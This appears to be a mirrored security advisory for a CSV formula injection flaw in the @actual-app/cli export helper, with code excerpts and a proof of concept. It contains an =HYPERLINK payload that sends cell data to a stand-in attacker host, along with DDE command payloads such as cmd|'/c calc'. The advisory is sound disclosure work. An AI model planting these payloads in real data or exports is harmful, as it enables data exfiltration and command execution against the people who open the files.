@actual-app/cli --format csv Output Vulnerable to CSV Formula Injection via Custom escapeCsv Helper
@actual-app/cli ships a hand-rolled CSV serializer in packages/cli/src/output.ts (used whenever the global --format csv option is passed) whose escapeCsv helper only handles RFC 4180 delimiter/quote/newline escaping. It does not neutralize the standard CSV formula-injection prefixes (=, +, -, @, \t, \r). Any CLI command that streams an object array containing user-controlled strings — transactions list, accounts list, payees list, categories list, tags list, category-groups list, rules list, schedules list, query — will emit cells that auto-evaluate when the resulting CSV is opened in Excel, LibreOffice Calc, or Google Sheets, enabling data exfiltration (=HYPERLINK(...), =WEBSERVICE(...)) and arbitrary formula execution.
This is a distinct variant of the formula-injection surface in packages/loot-core/src/server/transactions/export/export-to-csv.ts (which uses csv-stringify and would need a separate cast option fix) — they are different files, different packages, and different serializers. Fixing one does not fix the other.
packages/cli/src/output.ts:98-103:
```ts
function escapeCsv(value: string): string {
if (value.includes(',') || value.includes('"') || value.includes('\n')) {
return '"' + value.replace(/"/g, '""') + '"';
}
return value;
}
```
The helper performs only delimiter/quote/newline neutralization, which is sufficient for RFC 4180 *parsing* but irrelevant to spreadsheet *formula evaluation*. CSV double-quoting is invisible to Excel/Calc/Sheets — the unquoted cell value =HYPERLINK("http://attacker/?d="&B2,"Click") is still parsed as a formula by the spreadsheet, even when wrapped as "=HYPERLINK(""http://attacker/?d=""&B2,""Click"")" on disk.
1. The global --format option is registered at packages/cli/src/index.ts:53-57 with choices(['json','table','csv']) and applies to every subcommand.
2. List/query subcommands invoke printOutput(data, format) (output.ts:105-107), which routes format === 'csv' to formatCsv (output.ts:71-96).
3. For each row, every column is run through formatCellValue (output.ts:21-26):
```ts
function formatCellValue(key: string, value: unknown): string {
if (isAmountValue(key, value)) {
return (value / 100).toFixed(2);
}
return String(value ?? '');
}
```
Only the fixed AMOUNT_FIELDS set (amount, balance, budgeted, etc.) gets numeric coercion. User-controlled string fields — payee.name, account.name, category.name, notes, tag names, rule descriptions, schedule names — are passed verbatim to escapeCsv.
4. escapeCsv returns the value unmodified unless it contains ,, ", or \n. A payload such as =1+1, @SUM(...), +1+cmd|'/c calc'!A0, or -2+3+cmd|'/c calc'!A0 therefore lands in the output as a leading-character formula.
@actual-app/cli is published with "bin": { "actual": "./dist/cli.js", "actual-cli": "./dist/cli.js" }).actual <list-cmd> --format csv > out.csv and opens out.csv in a spreadsheet program. CSV files generated locally by the CLI are not gated by Office Protected View / Mark-of-the-Web, so formulas evaluate immediately.There are no mitigations in the code path: no allowlist, no sanitizer, no cast option, no warning, and the CLI is shipped to end users via npm.
Setup (one-time — choose any user-controlled field; payee shown):
```bash
# Inject via the CLI's own write path (or via OFX/QIF/CSV import, or shared sync):
actual transactions add \
--account "$ACCOUNT_ID" \
--data '[{"payee_name":"=HYPERLINK(\"http://attacker.evil/leak?d=\"&B2,\"Bank refund\")","date":"2026-01-01","amount":10000}]'
```
Trigger (victim runs):
```bash
actual transactions list --account "$ACCOUNT_ID" --start 2026-01-01 --end 2026-12-31 --format csv > out.csv
cat out.csv
```
Observed output (abridged; quoting is RFC 4180-correct but the formula prefix is preserved):
```
id,date,amount,payee,notes,category,account,cleared,reconciled
abc...,2026-01-01,100.00,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2,""Bank refund"")",,,Checking,false,false
```
Open out.csv in Excel / LibreOffice Calc / Google Sheets → the payee cell renders as a clickable hyperlink that, when clicked (or auto-fetched in some configurations), exfiltrates neighboring cell content (B2 = the date, but trivially adjustable to any cell)
This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.
The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
CVE-2026-46672 is classified as CWE-1236: Improper Neutralization of Formula Elements in a CSV File. Exported values are not neutralised, so a spreadsheet may treat them as formulas when opened.
CVE-2026-46672 is recorded against 2 packages.
Published on 22 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
github.com (Package)
These advisories are the same class of weakness (CWE-1236: Improper Neutralization of Formula Elements in a CSV File) in other software:
Details
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| @actual-app/cli | — | — |
| unknown | — | — |
References
Vulnerability Monitoring
CVE-2026-46672 is rated CVSS 4.6 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.
Set Up Free Alerts →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.